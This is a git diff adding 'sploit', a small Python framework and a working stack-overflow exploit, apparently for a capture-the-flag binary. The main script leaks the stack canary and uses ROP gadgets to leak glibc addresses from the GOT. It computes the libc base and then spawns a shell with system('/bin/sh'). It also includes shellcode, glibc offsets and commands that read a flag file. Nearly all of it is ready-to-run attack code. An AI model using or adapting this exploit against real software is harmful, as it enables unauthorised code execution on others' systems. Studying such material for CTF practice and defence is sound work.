diff options
l--------- | sploit | 1 | ||||
-rwxr-xr-x | sploit.py | 205 | ||||
-rwxr-xr-x | sploitconfig.py | 13 | ||||
-rwxr-xr-x | sploitlog.py | 17 | ||||
l--------- | sploitpipe | 1 | ||||
-rwxr-xr-x | sploitpipe.sh | 21 | ||||
-rwxr-xr-x | sploitrunner.py | 38 | ||||
-rwxr-xr-x | sploitutil.py | 34 |
8 files changed, 330 insertions, 0 deletions
@@ -0,0 +1 @@ +sploit.py
\ No newline at end of file diff --git a/sploit.py b/sploit.py new file mode 100755 index 0000000..b277cb0 --- /dev/null +++ b/sploit.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python3 + +#if sploit is called with command line arguments, +#it will use them to call the target program with popen +#otherwise, sploit will use stdin/stdout +#you can use sploitpipe to run sploit with pipes spltin/spltout +#which can be used with the target program +#<spltin ./target &>spltout +#or from within gdb +#r <spltin &>spltout +#if given a program name on the command line, we'll use popen +#otherwise, we use stdin/stdout +#in the latter case, you can use sploitpipe to set up spltin and spltout + +import time + +import sploitutil as util +import sploitrunner + +#specify which glibc offsets to use +testing = True + +#puts,system,and binsh string offsets into glibc +#https://libc.blukat.me/ +#https://libc.rip/ +#search two functions and the least significant 12 bits of their address +#then use the resulting glibc to get offsets for the exploit +#for whatever reason, some of these are off by a small amount +#printing the contents out(even bytes of instructions) +#and comparing to what I expect in gdb has been enough to figure it out +#also, if we have the actual library +#objdump -T libc.so | grep '_puts' +#xxd libc.so | grep '/bin' + +#my kali glibc (puts:0x5f0,setvbuf:0xcd0) +#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0 +#libc6_2.31-9_amd64 +#str_bin_sh was off for this one. I had to subtract 0x04 to get it right +libc_offset = util.itob(0x0765f0) +libc_system = util.itob(0x048e50) +libc_execve = util.itob(0x0cb6c0) +libc_exit = util.itob(0x0cb670) +libc_binsh = util.itob(0x18a152) +libc_poprdx_poprbx = util.itob(0x1376e2) +#target glibc (puts:0x5a0,setvbuf:0xe60) +#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60 +#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same) +if not testing: + libc_offset = util.itob(0x0875a0) + libc_system = util.itob(0x055410) + libc_execve = util.itob(0x0e62f0) + libc_exit = util.itob(0x0e6290) + libc_binsh = util.itob(0x1b75aa) + libc_poprdx_poprbx = util.itob(0x162866) + +frame_len = 0x108 + +string = b'Hello, World!\n' + +shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string + +payloads = { + 'null' : util.itob(0x00), + #stack smash + 'fill' : b'A'*(frame_len), + 'string' : string+b'A'*(frame_len-len(string)), + 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode, + 'canary' : util.itob(0xdeadbeef), + #stack addresses + 'buffaddr' : util.itob(0x7fffffff0000), + #static addresses + 'startaddr' : util.itob(0x4005d0), + 'targetaddr' : util.itob(0x400725), + 'pltaddr' : util.itob(0x4005c0), + 'gotaddr' : util.itob(0x600fe8), + 'gotaddr2' : util.itob(0x601030), + #rop gadgets + 'ret' : util.itob(0x400801), + 'poprdi' : util.itob(0x400873), + 'poprsi_popr15' : util.itob(0x400871) +} + + +def sploit(stdin, stdout): + c = util.Communication(stdin,stdout) + + def preamble(): + #preamble + c.recv() + #smash the stack up to canary + #+ a newline to overwrite the null and delimit the next two readlines + c.send( payloads['fill'] + +b'\n') + #most of the echo + c.recv() + #get the canary from the echo + out = c.recv() + canary = b'\x00'+out[:7] + return canary + + #rop to find the address of setvbuf in memory + #for the purpose of looking up the glibc offsets in a database + canary = preamble() + ropchain = payloads['poprdi'] #pop rdi,ret + ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got + ropchain += payloads['pltaddr'] #ret puts + #rop to find the address of puts in memory + #for the purpose of looking up the glibc offsets in a database + #and then we will use this to calculate our glibc base at runtime + ropchain += payloads['poprdi'] #pop rdi,ret + ropchain += payloads['gotaddr'] #rdi; pointer to puts.got + ropchain += payloads['pltaddr'] #ret puts + ropchain += payloads['startaddr'] #ret _start to fix stack + #smash stack again, but with canary and rop + #this will print out the address of puts in memory + c.send( payloads['fill'] + +canary + +payloads['buffaddr'] + +ropchain) + + #get the glibc puts address + c.recv() + out = c.recv() + libc_addr = out[:8] + #if puts() terminated on a \x00 (like the most sig bits of an address) + #our [:8] might get less than 8 bytes of address + a newline + #so strip that newline + if libc_addr[-1:] == b'\n': + libc_addr = libc_addr[:-1] + #calculate glibc base address + libc = util.Libc(libc_addr,libc_offset) + libc_base = libc.base() + #use that to calculate other glibc addresses + system_addr = libc.addr(libc_system) + execve_addr = libc.addr(libc_execve) + exit_addr = libc.addr(libc_exit) + binsh_addr = libc.addr(libc_binsh) + poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx) + + canary = preamble() + #print first few bytes of glibc + #this is to validate our offset + #a proper ELF file starts with '\x7fELF' + ropchain = payloads['poprdi'] #pop rdi,ret + ropchain += libc_base #rdi; pointer to glibc + ropchain += payloads['pltaddr'] #ret puts + #rop to puts("/bin/sh") + #this is to validate our offset + ropchain += payloads['poprdi'] #pop rdi,ret + ropchain += binsh_addr #rdi; pointer to "/bin/sh" + ropchain += payloads['pltaddr'] #ret puts + ropchain += payloads['startaddr'] #ret _start + c.send( payloads['fill'] + +canary + +payloads['buffaddr'] + +ropchain) + c.recv() + c.recv() + + #rop to execve("/bin/sh",0,0) + #canary = preamble() + #ropchain = payloads['poprdi'] #pop rdi,ret + #ropchain += binsh_addr #rdi; pointer to "/bin/sh" + #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret + #ropchain += payloads['null'] #rsi + #ropchain += payloads['null'] #r15 + #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret + #ropchain += payloads['null'] #rdx + #ropchain += payloads['null'] #rbx + #ropchain += execve_addr #ret execve + #ropchain += payloads['poprdi'] #pop rdi,ret + #ropchain += payloads['null'] #rdi 0 + #ropchain += exit_addr #ret exit to exit cleanly + + #rop to system("/bin/sh") + canary = preamble() + ropchain = payloads['poprdi'] #pop rdi,ret + ropchain += binsh_addr #rdi; pointer to "/bin/sh" + ropchain += payloads['ret'] #extra ret for 16byte stack alignment + ropchain += system_addr #ret system + ropchain += payloads['poprdi'] #pop rdi,ret + ropchain += payloads['null'] #rdi 0 + ropchain += exit_addr #ret exit to exit cleanly + c.send( payloads['fill'] + +canary + +payloads['buffaddr'] + +ropchain) + + #we need to synchronize when read() finishes before sending more data + #we could insert another puts() into the rop and call c.recv() + #or we can just sleep for a second + time.sleep(1) + + #try some shell commands + c.send(b'whoami\n') + c.send(b'pwd\n') + c.send(b'ls\n') + c.send(b'cat flag\n') + c.send(b'cat flag.txt\n') + c.send(b'exit\n') + + return + +#run our sploit +sploitrunner.runsploit(sploit) diff --git a/sploitconfig.py b/sploitconfig.py new file mode 100755 index 0000000..084a59d --- /dev/null +++ b/sploitconfig.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +import sys + +#if given a program name on the command line, we'll use popen +#otherwise, we use stdin/stdout +#in the latter case, you can use sploitpipe to set up spltin and spltout +use_popen = len(sys.argv) > 1 +#sleep for this many seconds to give time to attach gdb +wait_for_gdb = 0 +#will decode output with this encoding for printing +#or if empty, will print as bytes +log_encoding = ''#'utf-8' diff --git a/sploitlog.py b/sploitlog.py new file mode 100755 index 0000000..eab1fc7 --- /dev/null +++ b/sploitlog.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 + +import os + +import sploitconfig as config + +#this function does not look at the run mode and will write to stdout regardless +#use sploitutil.log instead +def sploitlog(s): + if config.log_encoding != '': + s = s.decode(config.log_encoding) + print(s) + +if __name__ == '__main__': + stdin = os.fdopen(0,"rb") + for s in stdin: + sploitlog(s) diff --git a/sploitpipe b/sploitpipe new file mode 120000 index 0000000..3e5a956 --- /dev/null +++ b/sploitpipe @@ -0,0 +1 @@ +sploitpipe.sh
\ No newline at end of file diff --git a/sploitpipe.sh b/sploitpipe.sh new file mode 100755 index 0000000..a761ad5 --- /dev/null +++ b/sploitpipe.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +#sets up sploit.py to use the input/output of a target program +#after running ./sploit you can launch the target program with +#<spltin ./target_program &>spltout +#also works in gdb +#r <spltin &>spltout +#or run the program in the background and set the gdb wait timer in sploit.py +# <spltin ./target_program &>spltout & +# gdb -p <pid that gets printed out when backgrounding target> + +rm spltin 2> /dev/null +rm spltout 2> /dev/null + +mkfifo spltin +mkfifo spltout + +<spltout tee >(./sploit.py &>spltin) | ./sploitlog.py + +rm spltin +rm spltout diff --git a/sploitrunner.py b/sploitrunner.py new file mode 100755 index 0000000..f0e5ac6 --- /dev/null +++ b/sploitrunner.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import os +import sys +import subprocess +import time + +import sploitconfig as config +import sploitutil as util + +#infrastructure to run sploit +#if sploit is called with command line arguments, +#it will use them to call the target program with popen +#otherwise, sploit will use stdin/stdout +#you can use sploitpipe to run sploit with pipes spltin/spltout +#which can be used with the target program +#<spltin ./target &>spltout +#or from within gdb +#r <spltin &>spltout +def runsploit(sploit): + if config.use_popen: + print(sys.argv[1:]) + p = subprocess.Popen(sys.argv[1:],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT) + + stdin = p.stdout if config.use_popen else os.fdopen(0,"rb") + stdout = p.stdin if config.use_popen else os.fdopen(1,"wb") + + if config.wait_for_gdb > 0: + time.sleep(config.wait_for_gdb) + + #exec custom sploit + sploit(stdin,stdout) + + #read anything else out and wait for termination + for line in stdin: + util.log(line) + if config.use_popen: + p.wait() diff --git a/sploitutil.py b/sploitutil.py new file mode 100755 index 0000000..00d2151 --- /dev/null +++ b/sploitutil.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 + +import sploitconfig as config +from sploitlog import sploitlog + +def btoi(b): + return int.from_bytes(b,'little') + +def itob(i): + return i.to_bytes(8,'little',signed=True) + +class Libc: + def __init__(self,libc_addr,libc_offset): + self.libc_base = btoi(libc_addr)-btoi(libc_offset) + def base(self): + return itob(self.libc_base) + def addr(self,offset): + return itob(self.libc_base + btoi(offset)) + +def log(s): + if config.use_popen: + sploitlog(s) + +class Communication: + def __init__(self,stdin,stdout): + self.stdin = stdin + self.stdout = stdout + def send(self,s): + self.stdout.write(s) + self.stdout.flush() + def recv(self): + out = self.stdin.readline() + log(out) + return out |